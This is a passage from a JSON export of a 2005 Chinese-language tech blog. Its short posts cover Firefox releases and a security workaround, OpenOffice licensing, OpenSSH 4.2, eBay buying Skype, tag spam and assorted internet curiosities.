37-&gt;27?\r\n21:42 &lt;@J&gt; 進機房就是降20度？\r\n21:45 &lt;@Bl&gt; gslin: 其實身份證字號可能就是 PID 的偽裝 :p\r\n21:46 &lt;@J&gt; @@\"\r\n21:47 &lt;@gslin&gt; B: soga !!!\r\n21:47  * gslin 來寫 blog XD</blockquote>",
    "title": "冷笑話一則"
  },
  {
    "id": "85",
    "body": "據說實力實在太雄厚被到處轉貼 XD\r\n\r\n原說明在：<a href=\"http://tw.f4.page.bid.yahoo.com/tw/auction/d14418335\">原版超任卡帶裸卡約兩噸(20000卡）</a>(<a href=\"http://tw.bid.yahoo.com/\" rel=\"tag\">Yahoo! Bid</a>)。\r\n\r\n拍賣的說明這樣寫：\r\n<blockquote>全部有兩萬個卡帶，全部都是原版裸卡，無盒無書，當然，一定是好玩不好玩的混合著，沒有辦法單賣，我不知道要賣到民國幾年，沒有辦法打名單，東西太多，除了得標價之外，還需要負擔貨櫃的運費，沒有辦法拍照，兩萬卡就算拍照也看不出什麼來吧？反正全部都是裸卡，如果要看其他照片，可以到 <a href=\"http://www.billyjr.com/gamesphoto\">http://www.billyjr.com/gamesphoto</a> 裡面看，不過請不要亂引用裡面的照片，有任何問題都可以問，只刊登一次，沒人下標就不再刊登拿去填海，有任何問題請發問，不過基本上這裡就是兩萬卡一起賣，運送費用目前還不知道，所以沒有加進去，大概就是兩噸從日本大阪過來的貨櫃吧，上面的照片是有盒有書的，因為一下子也找不到裸卡的照片\r\n\r\n補充：只要結標，送一百台超任讓你測卡帶\r\n我絕對沒有惡搞，誠心交易 @_@\r\n\r\n照片裡面都是倉庫裡面的一些角落，臨時找不到卡帶照片，所以請不要再要求太多了 orz 我真的很盡力了，總之外賣的是 20000 個超任的裸卡，這樣就對了\r\n\r\n其實我有想到，拿去當盒玩給人抽或是當轉蛋，又或者丟到娃娃機給人夾.. 其實都可以，反正算起來一個卡帶差不多 15 塊錢而已 @_@ 所以其實用法還蠻多的... 盒玩一次抽 30, 40 塊錢不過份吧？好的遊戲數量比較少的就當隱藏版這樣..  @_@ 主機也可以拿去給人抽，主機需要更多的話可以另外買，不過單位是一次兩百台</blockquote>\r\n兩噸啊... o_O",
    "title": "Billy Jr 的清倉"
  },
  {
    "id": "86",
    "body": "依照 <a href=\"http://developer.mozilla.org/devnews/index.php/2005/08/30/9-days-untill-15-beta/\">9 Days until Firefox 1.5 Beta!</a> 這篇的說明，<a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 1.5 將在 9/8 進入 Beta 1 測試，而 10/3 進入 Beta 2，然後在 10/28 出 RC1：\r\n<blockquote>Sept 6: Lockdown for 1.5b1\r\nSept 8: Release 1.5b1\r\nOct 3: Lockdown for 1.5b2\r\nOct 5: Release 1.5b2\r\nOct 26: Lockdown for 1.5RC1\r\nOct 28: Release 1.5RC1</blockquote>",
    "title": "Firefox 1.5"
  },
  {
    "id": "87",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/38911979/\"><img src=\"http://photos28.flickr.com/38911979_1e9ca3b5fe.jpg?v=0\" style=\"float: left; margin: 0 1em 1em 0;\" alt=\"\" /></a> 直接在 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Mozilla Firefox</a> 裡面看 PDF 其實少了很多功能，所以我希望按到 PDF link 的時候是跳 Download Window 出來 :p\r\n\r\n我知道在 Plug-Ins 可以改，可是我發現改完以後下次重開 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 又失效了 XD 有誰知道怎麼讓他存起來嗎？我看了一下 <code>about:config</code> 裡面的內容 (找 <code>plug</code>)，好像沒看到什麼設定可以讓他「記得」:p",
    "title": "Mozilla Firefox 對 PDF 的處理"
  },
  {
    "id": "88",
    "body": "颱風一個一個接著來是怎樣 XD (這是下午五點的圖)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/39160143/\" rel=\"tag\"><img src=\"http://static.flickr.com/22/39160143_c242875c0f.jpg?v=0\" alt=\"\" /></a>",
    "title": "颱風"
  },
  {
    "id": "89",
    "body": "剛剛 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb 太天位大長輩</a> 在 irc 上面介紹了這部由 <a href=\"http://www.ntust.edu.tw/\" rel=\"tag\">台科大</a> 的 <a href=\"http://www.dt.ntust.edu.tw/02_intro/htm/02teacher.htm\" rel=\"tag\">孫春望</a> 與全明遠製作的參賽作品：<a href=\"http://www.ntust.edu.tw/focus/sigg/\" rel=\"tag\">Cubic Tragedy</a>。\r\n<blockquote>21:30 &lt;@hlb&gt; <a href=\"http://www.dt.ntust.edu.tw/siggraph2005/\">http://www.dt.ntust.edu.tw/siggraph2005/</a> # 超惡搞, 一定要看\r\n21:40 &lt;@gslin&gt; hlb: XD # <a href=\"http://www.dt.ntust.edu.tw/siggraph2005/\">http://www.dt.ntust.edu.tw/siggraph2005/</a>\r\n21:41 &lt;@hlb&gt; gslin: 一定要推的啊 XD\r\n21:41 &lt;@gslin&gt; 來寫一篇</blockquote>\r\n我建議看 WMV 格式的就好，因為我討厭 <a href=\"http://www.apple.com/quicktime/\" rel=\"tag\">Quicktime</a>... :p\r\n\r\n站上的 Local Mirror 在這：<a href=\"http://blog.gslin.org.nyud.net:8090/wp-content/CUBIC_TRAGEDY_WMVHD.wmv\">WMV HD ( 66MB )</a>。\r\n\r\n另外這邊有 <a href=\"http://www.bnext.com.tw/\" rel=\"tag\">數位時代雙週刊</a> 的報導值得看看：<a href=\"http://www.bnext.com.tw/mag/2005_07_15/2005_07_15_3430.html\">台科大師生勇闖好萊塢</a>。",
    "title": "SIGGRAPH 2005 People's Choice Award"
  },
  {
    "id": "90",
    "body": "<a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 在 <a href=\"http://jeremy.zawodny.com/blog/archives/005089.html\">嘗試 Daily Link</a> 一天後就決定獨立出來，不要放在同一個 feed 裡：<a href=\"http://jeremy.zawodny.com/blog/archives/005115.html\">No More Automated Daily Link Digest Posts</a>。\r\n\r\n原因？有人抱怨他們不想看 - 跟我看 <a href=\"http://blog.schee.info/\" rel=\"tag\">Schee</a>、<a href=\"http://www.richyli.com/\" rel=\"tag\">Richyli</a> 的 Daily Link 一樣。不是 Daily Link 內容的問題，而是重要的事情大家都會獨立拿出來寫成一篇，而在 Daily Link 裡面的東西通常就是...",
    "title": "Daily Link (網摘)"
  },
  {
    "id": "91",
    "body": "<strong>Update：Fake News。</strong>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/39329305/\"><img src=\"http://static.flickr.com/25/39329305_f7c9541a6f_m.jpg\" style=\"float:left; margin: 0 1em 1em 0;\" alt=\"\" /></a> 在 <a href=\"http://www.gizmodo.com/\" rel=\"tag\">Gizmodo</a> 看到 Google OS 的消息 - 不過是在 Linux Embedded System 上，大多數的程式是透過網路下載而執行的：<a href=\"http://www.gizmodo.com/gadgets/software/google-os--123473.php\">Google OS (??)</a>。\r\n\r\n看起來頗讓人振奮？:p 也許哪天也會出現 Google OS Desktop？",
    "title": "Google OS"
  },
  {
    "id": "92",
    "body": "由於 <a href=\"http://wp.netscape.com/eng/security/SSL_2.html\" rel=\"tag\">SSL 2.0</a> 有 Security Flaw，剛剛在 <a href=\"http://www.mozillazine.org/\" rel=\"tag\">mozillaZine</a> 看到 <a href=\"http://www.mozilla.org/\" rel=\"tag\">Mozilla Foundation</a> 打算把 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 內預設支援 <a href=\"http://wp.netscape.com/eng/security/SSL_2.html\" rel=\"tag\">SSL 2.0</a> 的選項改成 disabled：<a href=\"http://www.mozillazine.org/talkback.html?article=7252\">Mozilla Firefox to Drop Support for SSL 2.0</a>。(現在常用的是 1996 提出的 <a href=\"http://wp.netscape.com/eng/ssl3/\" rel=\"tag\">SSL 3.0</a> 與 1999 提出的 <a href=\"http://www.ietf.org/rfc/rfc2246.txt\" rel=\"tag\">TLS 1.0</a>)\r\n\r\n如果你有在用 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 或是 IE，都有可以關掉 SSL 2.0 的選項可以選。",
    "title": "Firefox 將會把 SSL 2.0 的預設值關閉"
  },
  {
    "id": "93",
    "body": "在 <a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 幹剿過 <a href=\"http://jeremy.zawodny.com/blog/archives/005049.html\">Trackback is Dead</a>、<a href=\"http://www.kottke.org/\" rel=\"tag\">Jason Kottke</a> 也幹剿過 <a href=\"http://www.kottke.org/05/08/so-long-technorati\" rel=\"tag\">So long, Technorati</a> 後，<a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 找到了一個還不錯的替代品：<a href=\"http://jeremy.zawodny.com/blog/archives/005127.html\">Playing with Icerocket Blog Search</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/39758140/\"><img src=\"http://static.flickr.com/27/39758140_3b64d27044.jpg?v=0\" style=\"float: left; margin: 0 1em 1em 0;\" alt=\"\" /></a> <a href=\"http://blogs.icerocket.com/\" rel=\"tag\">Icerocket Blogs</a> 可以丟 url 進去，然後看誰 link 給你，而且同時提供了 Javascript 與 PHP version 的 <a href=\"http://www.icerocket.com/c?p=linktracker\">Link Tracker</a> 讓你牽在網頁裡 :p\r\n\r\n喔對了，<a href=\"http://www.icerocket.com/\" rel=\"tag\">Icerocket</a> 的人好像也跑到 <a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 那邊留言 XD",
    "title": "Icerocket (冰火箭？)"
  },
  {
    "id": "94",
    "body": "我在 <a href=\"http://blog.gslin.org/archives/2005/09/03/93/\">Icerocket (冰火箭？)</a> 這篇介紹了 <a href=\"http://www.icerocket.com/\" rel=\"tag\">IceRocket</a> 這家 Link Traccker 的服務，由於 Javascript 版本需要用到 XMLHttpRequest，所以必須在 server 上放一個 <code>cit_client.php</code>。(純粹做 proxy 用)\r\n\r\n不過在 <a href=\"http://www.dreamhost.com/r.cgi?cwyeh\" rel=\"tag\">DreamHost</a> 什麼都關掉的情況下，<code>file_get_contents()</code> 與 <code>fopen()</code> 都不能直接對 URL 動手腳，於是只好透過 curl 抓：在 <a href=\"http://tw.php.net/manual/en/function.fopen.php\">PHP: fopen - Manual</a> 找 Luiz Miguel Axcar 的 code 自己 patch 進去。\r\n\r\n然後其他的依照 <a href=\"http://www.icerocket.com/\" rel=\"tag\">IceRocket</a> 設定就可以了，你可以寫 Plugin 或是直接改 Theme... (我是選後者 XD)",
    "title": "冰火箭在 DreamHost 上使用的問題"
  },
  {
    "id": "95",
    "body": "在 <a href=\"http://pank.org/\" rel=\"tag\">pank</a> 那邊看到 <a href=\"http://pank.org/blog/archives/000703.html\">Skype call forwarding</a>，簡單來說就是 1.4 Beta 版支援「離線時透過 <a href=\"http://www.skype.com/products/skypeout/\" rel=\"tag\">SkypeOut</a> 轉接到自己的電話號碼，甚至連 <a href=\"http://www.skype.com/products/skypein/\" rel=\"tag\">SkypeIn</a> 的部分也可以轉接」，當然，這項費用是設定轉接的人付。\r\n\r\n另外 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 1.4 Beta 宣稱音質會更好？這點要測過才知道了...",
    "title": "Skype 1.4 Beta"
  },
  {
    "id": "96",
    "body": "<a href=\"http://www.openoffice.org/\" rel=\"tag\">OpenOffice</a> 本來是採用 <a href=\"http://www.gnu.org/copyleft/lesser.html\" rel=\"tag\">GNU Lesser General Public License (LGPL)</a> 與 <a href=\"http://www.opensource.org/licenses/sisslpl.php\" rel=\"tag\">Sun Industry Standards Source License (SISSL)</a> 雙重授權 (使用者可以選擇其中一種)，但剛剛在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 Sun 決定將 SISSL 授權收起來：<a href=\"http://yro.slashdot.org/article.pl?sid=05/09/03/1618250\">OpenOffice Goes LGPL</a>。\r\n\r\n<a href=\"http://www.openoffice.org/\" rel=\"tag\">OpenOffice</a> 的官方網站上面 的<a href=\"http://www.openoffice.org/FAQs/license-change.html\">License Simplification FAQ</a> 是這樣寫：\r\n<blockquote>On 2 September 2005 Sun announced the retirement of the Sun Industry Standard Source License (SISSL). As a consequence, no future Sun open-source project will use the SISSL. Projects currently using the SISSL under a dual-license scheme, such as OpenOffice.org, are dropping the SISSL and thus simplifying their license scheme as soon as the development cycle allows.</blockquote>\r\n看起來是舊有的部分不動他，但新的版本釋出時只會剩下 <a href=\"http://www.gnu.org/copyleft/lesser.html\" rel=\"tag\">LGPL</a> 授權。\r\n\r\n至於 <a href=\"http://www.opensource.org/licenses/sisslpl.php\" rel=\"tag\">SISSL</a> 與 <a href=\"http://www.gnu.org/copyleft/lesser.html\" rel=\"tag\">LGPL</a> 最大的差異，在 comment 的地方有人說明了：\r\n<blockquote> Re:Comparison of terms? (Score:5, Informative)\r\nby tmasssey (546878) Alter Relationship on Sunday September 04, @02:48AM (#13471645)\r\n(http://www.outoftheboxsolutions.com/)\r\n\r\nThe biggest difference is that if you contribute and distribute your changes to an (L)GPL project, you must make your source publicly available. Under the SISSL, you could distribute binary-only versions of the project.</blockquote>\r\n另外一件有趣的事情是這篇文章 (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上的文章) 的原作者 <a href=\"http://slashdot.org/~Motor\" rel=\"tag\">Motor</a> 在 submit 時標題是用 \"OpenOffice single license: LGPL\"，但 <a href=\"https://slashdot.org/~ScuttleMonkey/\" rel=\"tag\">ScuttleMonkey</a> 很雞婆的 (而且也誤解了) 改成了現在的 \"<a href=\"http://yro.slashdot.org/article.pl?sid=05/09/03/1618250\">OpenOffice Goes LGPL</a>\"...",
    "title": "OpenOffice 將使用 LGPL 授權"
  },
  {
    "id": "97",
    "body": "剛剛才讀完 <a href=\"http://en.wikipedia.org/wiki/George_Orwell\" rel=\"tag\">George Orwell</a> 生前最後的大作 <a href=\"http://en.wikipedia.org/wiki/Nineteen_Eighty-Four\" rel=\"tag\">一九八四 (Nineteen Eighty-Four)</a>，在網路上找資料就發現 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb 太天位大長輩</a> 兩年多前寫的：<a href=\"http://ccca.nctu.edu.tw/~hlb/articles/archives/000010.php\">Apple's 1984</a>。\r\n\r\n裡面的影片其實很早前就看過了，只是當初根本看不懂最後那段的意思 :P",
    "title": "一九八四"
  },
  {
    "id": "98",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到了 <a href=\"http://web.archive.org/\" rel=\"tag\">Internet Archive</a> 希望大家提供有關 Katrina (卡崔娜) 的頁面，他們要記錄下來保存：<a href=\"http://www.boingboing.net/2005/09/03/help_the_internet_ar.html\">Help the Internet Archive archive blog coverage of Katrina</a>。\r\n<blockquote>The Internet Archive, a non-profit digital library, needs help in finding URL's of sites and blogs that contain documents of this major disaster.\r\n\r\nPlease email links to sites and pages that should be saved for future research to katrina@archive.org.</blockquote>",
    "title": "Internet Archive 要記錄 Katrina 的資訊"
  },
  {
    "id": "99",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上的 <a href=\"http://hardware.slashdot.org/article.pl?sid=05/09/03/2011200\">Experimental 4G Phone Service Faster Than Cable</a> 看到日本 <a href=\"http://www.nttdocomo.co.jp/\" rel=\"tag\">NTT DoCoMo</a> 示範了超高速傳輸的行動通訊技術，可以在靜止時達到 1Gbps，或是在移動的時候達到 100Mbps (沒講多快？)，原報導在：<a href=\"http://www.newscientist.com/article.ns?id=dn7943\">4G prototypes reach blistering speeds</a>。\r\n\r\n預定在 2010 年可以看到：\r\n<blockquote>Some countries have already begun cooperating on such standards. Japan and China signed a memorandum on 24 August to work together on 4G. NTT DoCoMo hopes to launch a commercial 4G network by 2010.</blockquote>\r\n到時候不知道有沒有應用可以在上面用... (像是一直在推動的網路電視，實在不怎麼看好 :p)",
    "title": "超高速行動通訊技術"
  },
  {
    "id": "101",
    "body": "我把 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> Plugins 裡的 <a href=\"http://www.michelf.com/projects/php-markdown/\" rel=\"tag\">PHP Markdown 給裝了起來，希望以後可以少用 Quicktags :p\r\n\r\n看網頁的說明，</a><a href=\"http://daringfireball.net/projects/markdown/\" rel=\"tag\">Markdown</a> 相容於 <a href=\"http://www.textism.com/tools/textile/\" rel=\"tag\">Textile</a>，所以有很多東西以前玩過... 如果你想試看看的話可以先到 <a href=\"http://daringfireball.net/projects/markdown/syntax\" rel=\"tag\">Markdown Syntax Documentation</a> 看看語法長什麼樣子。\r\n\r\nUpdate：因為對之前的文章造成影響，所以拿掉了 XD",
    "title": "改用 Markdown"
  },
  {
    "id": "102",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 上看到 Katrina 對於 <a href=\"http://www.internet2.edu/\" rel=\"tag\">Internet 2</a> 的影響：<a href=\"http://www.boingboing.net/2005/09/04/katrina_impact_on_ab.html\">Katrina impact on Abilene / Internet2 network -- analysis</a>：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/40342504/\"><img src=\"http://static.flickr.com/31/40342504_da289135ad.jpg?v=0\"/></a>\r\n\r\n很明顯可以看到本來走南部的全部都繞道中部了，於是 Loading 就爆增...",
    "title": "Katrina 對於 Internet 2 的影響"
  },
  {
    "id": "103",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上的 <a href=\"http://it.slashdot.org/article.pl?sid=05/09/05/1154215\">OpenSSH 4.2 released</a> 看到 OpenSSH 4.2 的消息了，這次主要的幾個大的改變是：\r\n<ul>\r\n\t<li>[Security] 將 zlib 壓縮的功能延後到認證完後才會使用。應該是改變 uid 後，我猜是避免再次發生 zlib security issue 造成出包 XD</li>\r\n\t<li>將 ssh-genkey 產生 RSA/DSA key 的金鑰長度從 1024bits 上升到 2048bits。</li>\r\n</ul>\r\n其他的... 看起來對我不太重要 XD",
    "title": "OpenSSH 4.2 重大更新"
  },
  {
    "id": "104",
    "body": "9/8 交大宿舍將全面啟動 802.1x，我怎麼感覺被計中 K 中腦袋了 =_=",
    "title": "802.1x"
  },
  {
    "id": "106",
    "body": "<a href=\"http://www.slashcode.com/\" rel=\"tag\">Slashcode</a> 的發展者開始在測試 CSS-based 的版本了，目前在 <a href=\"http://www.slashcode.com/\" rel=\"tag\">Slashcode</a> 網站與 <a href=\"http://use.perl.org/\" rel=\"tag\">use.perl.org</a> 上運作中：<a href=\"http://webstandards.org/buzz/archive/2005_09.html#a000562\">Slashdot Goes CSS: Help Beta Test</a>。\r\n\r\n目前他們正把舊的 code 改成 valid HTML 4.01... 我本來以為會是 XHTML 1.0 Transitional... 不過至少是 Standard 就是了 =_=",
    "title": "CSS-based Slashcode 測試中"
  },
  {
    "id": "107",
    "body": "在 <a href=\"http://www.schneier.com/\" rel=\"tag\">Bruce Schneier</a> 的 Blog 上，<a href=\"http://www.schneier.com/blog/archives/2005/09/a_us_national_f.html\">A U.S. National Firewall</a> 這篇引用了 <a href=\"http://www.pcmag.com/article2/0,1895,1831969,00.asp\">Grokster Ruling Begins the Good Fight</a> 這篇文章裡的這段話：\r\n<blockquote><a href=\"http://www.pcmag.com/article2/0,1895,1831969,00.asp\">This</a> seems like a really bad idea:</blockquote><blockquote>Government has the right -- even the responsibility -- to see that its laws and regulations are enforced. The Internet is no exception. When the Internet is being used on American soil, it should comply with American law. And if it doesn't, then the government should be able to step in and filter the illegal sites and activities.</blockquote>\r\n我一開始想到的是共產主義 (如同那篇文章下面 comment 所提到的)，不過最近讀完 <a href=\"http://en.wikipedia.org/wiki/George_Orwell\" rel=\"tag\">George Orwell</a> 的 <a href=\"http://en.wikipedia.org/wiki/Nineteen_Eighty-Four\" rel=\"tag\">Nineteen Eighty-Four</a> (中譯《<a href=\"http://www.books.com.tw/exep/prod/booksfile.php?item=0010161307\">一九八四</a>》) 後，我覺得這種想法跟共產主義差多了... 這種想法比較像是智商不足的強盜土匪擁有的思考邏輯。\r\n\r\n剛剛又看到 <a href=\"http://www.bigsound.org/portnoy/weblog/001073.html\">米國FCC網站被XXA夢入侵!!</a> 這篇：<a href=\"http://www.fcc.gov/\" rel=\"tag\">FCC</a> 盜用 <a href=\"http://en.wikipedia.org/wiki/Doraemon\" rel=\"tag\">Doraemon</a> 的圖像，作者向 <a href=\"http://www.fcc.gov/\" rel=\"tag\">FCC</a> 反應後，<a href=\"http://www.fcc.gov/\" rel=\"tag\">FCC</a> 完全不理...\r\n\r\n我覺得自從 <a href=\"http://www.whitehouse.gov/president/\" rel=\"tag\">George W. Bush</a> 上台後，美國政府愈來愈讓人失望了... 本來我還在猜 Bush 的智商有沒有 60，現在應該可以再往下調整不少。(不過想到這傢伙還要混三年就讓人頭痛...)",
    "title": "智商不足的強盜土匪"
  },
  {
    "id": "108",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/41713273/\"><img src=\"http://static.flickr.com/25/41713273_c0fd8f4530_m.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> 在 <a href=\"http://www.gizmodo.com/\" rel=\"tag\">Gizmodo</a> 看到 <a href=\"http://www.gizmodo.com/gadgets/ipod-nano/ipod-nano-gutted-124700.php\">iPod Nano Gutted</a> 這篇文章，把 <a href=\"http://www.apple.com/ipodnano/\" rel=\"tag\">iPod Nano</a> 肢解開來看 XD",
    "title": "「肢解」iPod Nano"
  },
  {
    "id": "109",
    "body": "<a href=\"http://www.mozilla.org/products/firefox/releases/1.5beta1.html\" rel=\"tag\">Firefox 1.5 Beta 1</a> 出版了：<a href=\"http://it.slashdot.org/article.pl?sid=05/09/09/0219241\">Mozilla Firefox 1.5 Beta 1 Released</a>，看起來最有用的部份應該只有這個：(對我來說 -_-)\r\n<ul>\r\n\t<li>Drag and drop reordering for browser tabs. (不用再裝 <a href=\"https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&category=Tabbed%20Browsing&id=176\" rel=\"tag\">MiniT</a> 了)</li>\r\n</ul>\r\n至於 SVG 之類的東西，目前用的太少了，所以...\r\n\r\nUpdate：剛剛看到 <a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 給的 Security Alert：<a href=\"http://news.netcraft.com/archives/2005/09/09/new_vulnerability_in_firefox_browser.html\">New Vulnerability in Firefox Browser</a>，包括 1.0.6 與 1.5 Beta 1 都中獎，而且 <a href=\"http://secunia.com/\" rel=\"tag\">Secunia</a> 給的是 Highly critical：<a href=\"http://secunia.com/advisories/16764/\">Firefox URL Domain Name Buffer Overflow</a>。\r\n\r\n看起來很快就可以看到 1.0.7 了... (1.5 Beta 1 不知道會不會出個 1.5 Beta 1.1 之類的版本 XD)",
    "title": "Firefox 1.5 Beta 1"
  },
  {
    "id": "111",
    "body": "<a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 1.0.6 以及 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox</a> 1.5 Beta 1 的 Security Issue 有暫時性的解決方案：\r\n<ul>\r\n\t<li><a href=\"https://addons.mozilla.org/messages/307259.html\">What Firefox and Mozilla users should know about the IDN buffer overflow security issue</a> (官方網頁)</li>\r\n\t<li><a href=\"http://it.slashdot.org/article.pl?sid=05/09/10/1625241\">Patch &amp; Workaround for Firefox Flaw Available</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)</li>\r\n\t<li><a href=\"http://forevergeek.com/security/mozilla_offers_temporary_fix_for_firefox_flaw.php\">Mozilla offers Temporary Fix for Firefox Flaw</a> (<a href=\"http://forevergeek.com/\" rel=\"tag\">ForeverGeek</a>)</li>\r\n\t<li><a href=\"http://goston.blogspot.com/2005/09/ff-mozilla-firefox-106.html\">[FF] Mozilla Firefox 1.0.6 最新修正檔</a></li>\r\n</ul>\r\n官方網頁提供了兩個解法，第一種是到 <code>about:config</code> 裡把 <code>network.enableIDN</code> 關掉，第二種是安裝某個 Plugin，把 bug 擋住 :p",
    "title": "Firefox 1.0.6 Security Workaround"
  },
  {
    "id": "112",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 上看到 <a href=\"http://www.yahoo.co.jp/\" rel=\"tag\">Yahoo! Japan</a> 的搞笑影片：<a href=\"http://www.boingboing.net/2005/09/11/hard_gay_visits_yaho.html\">Hard Gay visits Yahoo! Japan</a>。\r\n\r\n我在 <a href=\"http://netnews.nctu.edu.tw/~gslin/tmp/HG.mov\">這裡</a> 有放一份 mirror :p",
    "title": "Yahoo! Japan 的搞笑影片"
  },
  {
    "id": "113",
    "body": "<a href=\"http://www.ebay.com/\" rel=\"tag\">eBay</a> 買下 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a>... 這大概會是這幾天最熱門的新聞：\r\n<ul>\r\n\t<li><a href=\"http://slashdot.org/article.pl?sid=05/09/12/1153223\">eBay To Buy Skype For $2.6 Billion</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)</li>\r\n\t<li><a href=\"http://www.boingboing.net/2005/09/11/ebay_buys_skype_for_.html\">eBay Buys Skype for $4.1 Billion</a> (<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a>)</li>\r\n\t<li><a href=\"http://news.bbc.co.uk/2/hi/business/4237338.stm\">eBay to buy Skype in $2.6bn deal</a> (<a href=\"http://news.bbc.co.uk/\" rel=\"tag\">BBC</a>)</li>\r\n\t<li><a href=\"http://forevergeek.com/news/ebay_buys_skype_for_26_us_billion.php\">eBay buys Skype for 2.6 US billion</a> (<a href=\"http://forevergeek.com/\" rel=\"tag\">ForeverGeek</a>)</li>\r\n\t<li><a href=\"http://glinden.blogspot.com/2005/09/ebay-buys-skype_12.html\">eBay buys Skype</a> (<a href=\"http://glinden.blogspot.com/\" rel=\"tag\">Geeking with Greg</a>)</li>\r\n\t<li><a href=\"http://blog.yam.com/syshen/archives/476809.html\">今天的大新聞：ebay 買下 skype !!</a> (<a href=\"http://blog.yam.com/syshen/archives/476809.html\" rel=\"tag\">syshen's blog</a>)</li>\r\n\t<li><a href=\"http://www.bigsound.org/portnoy/weblog/001083.html\" rel=\"tag\">Skype成了新嫁娘，ebay是好老公</a> (<a href=\"http://www.bigsound.org/portnoy/weblog/\" rel=\"tag\">龜趣來嘻</a>)</li>\r\n</ul>",
    "title": "eBay 買下 Skype"
  },
  {
    "id": "114",
    "body": "利用鍵盤輸入的聲音來辨識輸入了哪些東西 - 理論上是可行的，可是難度一直都很高 XD\r\n\r\n不過剛剛在 <a href=\"http://www.schneier.com/\" tel=\"tag\">Bruce Schneier</a> 那邊看到 <a href=\"http://www.schneier.com/blog/archives/2005/09/snooping_on_tex.html\" rel=\"tag\">Snooping on Text by Listening to the Keyboard</a>，看英文名字好像是對岸的強者 (在 <a href=\"http://www.berekley.edu/\" rel=\"tag\">Berkeley</a> 的 <a href=\"http://www.cs.berkeley.edu/\" rel=\"tag\">CS</a>) 用 Machine Learning 訓練 XD\r\n\r\n最後會得出像這樣的 sequence：35, 12, 8, 14, 17, 35, 6, 44, … 然後你可以透過字彙出現的機率去計算到底是什麼字 :p",
    "title": "利用鍵盤聲音來辨識輸入內容"
  },
  {
    "id": "115",
    "body": "<a href=\"mailto:quawn.hsu@gmail.com\">quawn</a>@<a href=\"http://www.oui-blog.com/\" rel=\"tag\">Oui-Blog</a> 當初推動「<a href=\"http://www.oui-blog.com/archives/2005/03/ae_cc.php\" rel=\"tag\">共筆書籤</a>」所擔心的事情已經一而再再而三的發生：\r\n<blockquote>可能會有很大一部份的朋友對於這個想法會存疑，我了解，因為就連我也掙扎了很久。如果有人惡搞？如果有人狂打自家網站的廣告？如果ouiouioui的標籤被SPAM盯上？這些考慮都曾經阻礙了我心中想法的實踐進度，不過，小弟覺得儘管這個計劃有一天失敗了、或是事實證明根本不可行，那至少我們試圖證明過，就像大多數的科學實驗一樣，尤其，特別在這個實驗並沒有明顯的成本時。</blockquote>\r\n先後包括了：\r\n<ul>\r\n\t<li>8/14 的 pjhuang 事件：<a href=\"/archives/2005/08/14/28/\">OuiOuiOui 的 tag spam</a>。</li>\r\n\t<li>8/20 的 Engadget Chinese 事件：<a href=\"http://blog.gslin.org/archives/2005/08/20/58/\">Engadget.Chinese 與 ouiouioui spam？</a>。</li>\r\n</ul>\r\n後來我有一陣子沒在注意看 <a href=\"http://www.oui-news.com/\" rel=\"tag\">Oui-News</a>，剛剛發現 toaaron 這個傢伙從 9/7 開始，只要是自己的文章就 tag ouiouioui 一下，結果整個版面就通通都是他的東西...\r\n\r\n是的，我要說的就是 ouiouioui 已經被 Spammers 盯上，這個實驗已經失敗了。",
    "title": "現有「ouiouioui 共筆書籤」的不可行性"
  },
  {
    "id": "116",
    "body": "<a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 在這篇 <a href=\"http://blog.ijliao.info/archives/2005/09/15/1760/\" rel=\"tag\">Wordpress Trackback Auto-Discovery</a> 提到了 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 大多數的 Theme 在 <a href=\"http://www.sixapart.com/pronet/docs/trackback_spec\" rel=\"tag\">Trackback Auto-Discovery</a> 這個問題，我剛剛把他修了一下 (改個 Theme Template 而已)，讓 Spam 發的更快更輕鬆。如果有問題的話麻煩再通知？",
    "title": "Trackback Auto-Discovery"
  },
  {
    "id": "117",
